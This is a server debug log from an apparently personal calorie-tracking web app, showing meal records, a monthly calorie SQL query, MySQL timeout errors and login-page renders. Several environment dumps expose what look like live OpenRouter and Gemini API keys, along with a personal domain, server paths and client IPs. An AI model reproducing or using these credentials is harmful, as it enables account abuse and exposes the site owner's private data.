    skip_reason: 'Excellent choice. Very low in calories, rich in antioxidants, and can aid metabolism. No reason to skip.'
  },
  {
    id: 486,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Aalo Gobi Sukhi Sabji',
    calories: 150,
    protein_gm: 5,
    carbs_gm: 18,
    fat_gm: 8,
    quantity: '1 serving (approx 150g)',
    replacements: 'Steamed mixed vegetables,Gobi sabji with less potato,Salad with grilled chicken/paneer',
    created_at: '2025-12-22T03:10:22.000Z',
    skip_level: 1,
    skip_reason: 'Generally healthy, but portion size and oil content can impact calorie count. Good source of vegetables.'
  },
  {
    id: 487,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Roti',
    calories: 270,
    protein_gm: 9,
    carbs_gm: 57,
    fat_gm: 3,
    quantity: '3 rotis (approx 30g each)',
    replacements: 'Whole wheat roti (slightly lower GI),Jowar/Bajra roti (higher fiber),Brown rice (in moderation),Quinoa',
    created_at: '2025-12-22T03:10:22.000Z',
    skip_level: 2,
    skip_reason: 'While a staple, 3 rotis can contribute significantly to carb intake. For muscle development, focus on complex carbs and protein. Can be reduced or swapped for higher fiber options.'
  },
  {
    id: 488,
    intake_date: '2025-12-21T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (e.g., peppermint, chamomile)',
    created_at: '2025-12-22T06:19:05.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for health, no reason to skip. Contains antioxidants and can aid metabolism.'
  }
]
2025-12-22T11:49:06.883Z server-connect:app Executing action step setvalue
2025-12-22T11:49:06.883Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-22T11:49:06.883Z server-connect:output var_total: 940
2025-12-22T11:49:06.883Z server-connect:app Executing action step setvalue
2025-12-22T11:49:06.883Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-22T11:49:06.883Z server-connect:output var_consumed: 39
2025-12-22T11:49:06.883Z server-connect:app Executing action step setvalue
2025-12-22T11:49:06.883Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-22T11:49:06.883Z server-connect:output var_deficit: 1460
2025-12-22T11:49:06.883Z server-connect:app Executing action step custom
2025-12-22T11:49:06.883Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-22T11:49:06.884Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '1668',
    surplus_or_deficit: '732',
    status_flag: 2
  },
  {
    intake_date: 2025-12-18T18:30:00.000Z,
    total_consumed: '2115',
    surplus_or_deficit: '285',
    status_flag: 1
  },
  {
    intake_date: 2025-12-19T18:30:00.000Z,
    total_consumed: '1575',
    surplus_or_deficit: '825',
    status_flag: 2
  },
  {
    intake_date: 2025-12-20T18:30:00.000Z,
    total_consumed: '972',
    surplus_or_deficit: '1428',
    status_flag: 2
  },
  {
    intake_date: 2025-12-21T18:30:00.000Z,
    total_consumed: '940',
    surplus_or_deficit: '1460',
    status_flag: 2
  }
]
2025-12-22T11:49:07.455Z server-connect:app Executing action step identify
2025-12-22T11:49:07.455Z server-connect:app options: { provider: 'security' }
2025-12-22T11:49:07.455Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 12:15:42' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 12:15:42' as DATETIME)"
}
2025-12-22T12:31:48.981Z server-connect:app Executing action step identify
2025-12-22T12:31:48.981Z server-connect:app options: { provider: 'security' }
2025-12-22T12:31:48.981Z server-connect:output identity: 1
2025-12-22T12:31:51.458Z server-connect:app Executing action step identify
2025-12-22T12:31:51.458Z server-connect:app options: { provider: 'security' }
2025-12-22T12:31:51.458Z server-connect:output identity: 1
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 12:34:51' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 12:34:51' as DATETIME)"
}
2025-12-22T13:04:45.831Z server-connect:app Executing action step identify
2025-12-22T13:04:45.831Z server-connect:app options: { provider: 'security' }
2025-12-22T13:04:45.831Z server-connect:output identity: 1
2025-12-22T13:04:48.545Z server-connect:app Executing action step identify
2025-12-22T13:04:48.545Z server-connect:app options: { provider: 'security' }
2025-12-22T13:04:48.545Z server-connect:output identity: 1
2025-12-22T13:09:36.044Z server-connect:app Executing action step identify
2025-12-22T13:09:36.044Z server-connect:app options: { provider: 'security' }
2025-12-22T13:09:36.044Z server-connect:output identity: 1
2025-12-22T13:09:38.493Z server-connect:app Executing action step identify
2025-12-22T13:09:38.493Z server-connect:app options: { provider: 'security' }
2025-12-22T13:09:38.493Z server-connect:output identity: 1
2025-12-22T13:11:27.520Z server-connect:app Executing action step identify
2025-12-22T13:11:27.520Z server-connect:app options: { provider: 'security' }
2025-12-22T13:11:27.520Z server-connect:output identity: 1
2025-12-22T13:11:29.573Z server-connect:app Executing action step identify
2025-12-22T13:11:29.573Z server-connect:app options: { provider: 'security' }
2025-12-22T13:11:29.573Z server-connect:output identity: 1
2025-12-22T13:21:41.230Z server-connect:app Executing action step identify
2025-12-22T13:21:41.230Z server-connect:app options: { provider: 'security' }
2025-12-22T13:21:41.230Z server-connect:output identity: 1
2025-12-22T13:21:43.628Z server-connect:app Executing action step identify
2025-12-22T13:21:43.628Z server-connect:app options: { provider: 'security' }
2025-12-22T13:21:43.628Z server-connect:output identity: 1
2025-12-22T13:22:58.411Z server-connect:router Serving templateView /
2025-12-22T13:22:58.412Z server-connect:app Executing action step identify
2025-12-22T13:22:58.412Z server-connect:app options: { provider: 'security' }
2025-12-22T13:22:58.412Z server-connect:auth No login cookie found
2025-12-22T13:22:58.412Z server-connect:output identity: false
2025-12-22T13:22:58.412Z server-connect:app Executing action step restrict
2025-12-22T13:22:58.412Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T13:22:58.413Z server-connect:output restrict: undefined
2025-12-22T13:22:58.531Z server-connect:router Serving templateView /login
2025-12-22T13:22:58.531Z server-connect:app Executing action step identify
2025-12-22T13:22:58.531Z server-connect:app options: { provider: 'security' }
2025-12-22T13:22:58.531Z server-connect:auth No login cookie found
2025-12-22T13:22:58.531Z server-connect:output identity: false
2025-12-22T13:22:58.531Z server-connect:router Render template layouts/authentication
2025-12-22T13:22:58.532Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '100.51.65.133',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T13:22:58.530Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '100.51.65.133',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '100.51.65.133',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2025-12-22T13:24:48.387Z server-connect:app Executing action step identify
2025-12-22T13:24:48.387Z server-connect:app options: { provider: 'security' }
2025-12-22T13:24:48.387Z server-connect:output identity: 1
2025-12-22T13:24:50.544Z server-connect:app Executing action step identify
2025-12-22T13:24:50.544Z server-connect:app options: { provider: 'security' }
2025-12-22T13:24:50.544Z server-connect:output identity: 1
2025-12-22T13:30:38.223Z server-connect:app Executing action step identify
2025-12-22T13:30:38.223Z server-connect:app options: { provider: 'security' }
2025-12-22T13:30:38.224Z server-connect:output identity: 1
2025-12-22T13:30:40.637Z server-connect:app Executing action step identify
2025-12-22T13:30:40.637Z server-connect:app options: { provider: 'security' }
2025-12-22T13:30:40.637Z server-connect:output identity: 1
2025-12-22T13:32:03.617Z server-connect:app Executing action step identify
2025-12-22T13:32:03.617Z server-connect:app options: { provider: 'security' }
2025-12-22T13:32:03.617Z server-connect:output identity: 1
2025-12-22T13:39:08.698Z server-connect:router Serving templateView /
2025-12-22T13:39:08.699Z server-connect:app Executing action step identify
2025-12-22T13:39:08.699Z server-connect:app options: { provider: 'security' }
2025-12-22T13:39:08.699Z server-connect:auth No login cookie found
2025-12-22T13:39:08.699Z server-connect:output identity: false
2025-12-22T13:39:08.700Z server-connect:app Executing action step restrict
2025-12-22T13:39:08.700Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T13:39:08.700Z server-connect:output restrict: undefined
2025-12-22T13:39:08.801Z server-connect:router Serving templateView /login
2025-12-22T13:39:08.801Z server-connect:app Executing action step identify
2025-12-22T13:39:08.801Z server-connect:app options: { provider: 'security' }
2025-12-22T13:39:08.801Z server-connect:auth No login cookie found
2025-12-22T13:39:08.801Z server-connect:output identity: false
2025-12-22T13:39:08.801Z server-connect:router Render template layouts/authentication
2025-12-22T13:39:08.802Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '100.51.65.133',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T13:39:08.800Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: false,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '100.51.65.133',
    REQUEST_PROTOCOL: 'http',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'http://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '100.51.65.133',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz'
  },
  identity: false,
  content: '/login'
}
2025-12-22T13:56:38.498Z server-connect:router Serving templateView /
2025-12-22T13:56:38.498Z server-connect:app Executing action step identify
2025-12-22T13:56:38.499Z server-connect:app options: { provider: 'security' }
2025-12-22T13:56:38.499Z server-connect:auth No login cookie found
2025-12-22T13:56:38.499Z server-connect:output identity: false
2025-12-22T13:56:38.499Z server-connect:app Executing action step restrict
2025-12-22T13:56:38.499Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T13:56:38.499Z server-connect:output restrict: undefined
2025-12-22T13:56:38.599Z server-connect:router Serving templateView /login
2025-12-22T13:56:38.599Z server-connect:app Executing action step identify
2025-12-22T13:56:38.600Z server-connect:app options: { provider: 'security' }
2025-12-22T13:56:38.600Z server-connect:auth No login cookie found
2025-12-22T13:56:38.600Z server-connect:output identity: false
2025-12-22T13:56:38.600Z server-connect:router Render template layouts/authentication
2025-12-22T13:56:38.600Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '98.86.132.187',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-23T13:56:38.599Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '98.86.132.187',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Edg/136.0.0.0',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '98.86.132.187',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 14:02:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 14:02:12' as DATETIME)"
}
Warning: got packets out of order. Expected 1 but received 0
Error: delete from `sessions` where expired < CAST('2025-12-22 14:05:12' as DATETIME) - The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.
    at Packet.asError (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packets/packet.js:740:17)
    at Query.execute (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/commands/command.js:29:26)
    at Connection.handlePacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:477:34)
    at PacketParser.onPacket (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:93:12)
    at PacketParser.executeStart (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/packet_parser.js:75:16)
    at Socket.<anonymous> (/home/tocyxovu/nodevenv/ems/22/lib/node_modules/mysql2/lib/base/connection.js:100:25)
    at Socket.emit (node:events:518:28)
    at addChunk (node:internal/streams/readable:561:12)
    at readableAddChunkPushByteMode (node:internal/streams/readable:512:3)
    at Readable.push (node:internal/streams/readable:392:5)
    at TCP.onStreamRead (node:internal/stream_base_commons:189:23) {
  code: 'ER_CLIENT_INTERACTION_TIMEOUT',
  errno: 4031,
  sqlState: 'HY000',
  sqlMessage: 'The client was disconnected by the server because of inactivity. See wait_timeout and interactive_timeout for configuring this behavior.',
  sql: "delete from `sessions` where expired < CAST('2025-12-22 14:05:12' as DATETIME)"
}
2025-12-22T14:16:13.068Z server-connect:router Serving templateView /
2025-12-22T14:16:13.068Z server-connect:app Executing action step identify
2025-12-22T14:16:13.068Z server-connect:app options: { provider: 'security' }
2025-12-22T14:16:13.068Z server-connect:auth No login cookie found
2025-12-22T14:16:13.068Z server-connect:output identity: false
2025-12-22T14:16:13.068Z server-connect:app Executing action step restrict
2025-12-22T14:16:13.068Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-22T14:16:13.068Z server-connect:output restrict: undefined
2025-12-22T14:16:13.188Z server-connect:router Serving templateView /login
2025-12-22T14:16:13.188Z server-connect:app Executing action step identify
2025-12-22T14:16:13.188Z server-connect:app options: { provider: 'security' }
2025-12-22T14:16:13.188Z server-connect:auth No login cookie found
2025-12-22T14:16:13.188Z server-connect:output identity: false
2025-12-22T14:16:13.188Z server-connect:router Render template layouts/authentication
2025-12-22T14:16:13.188Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
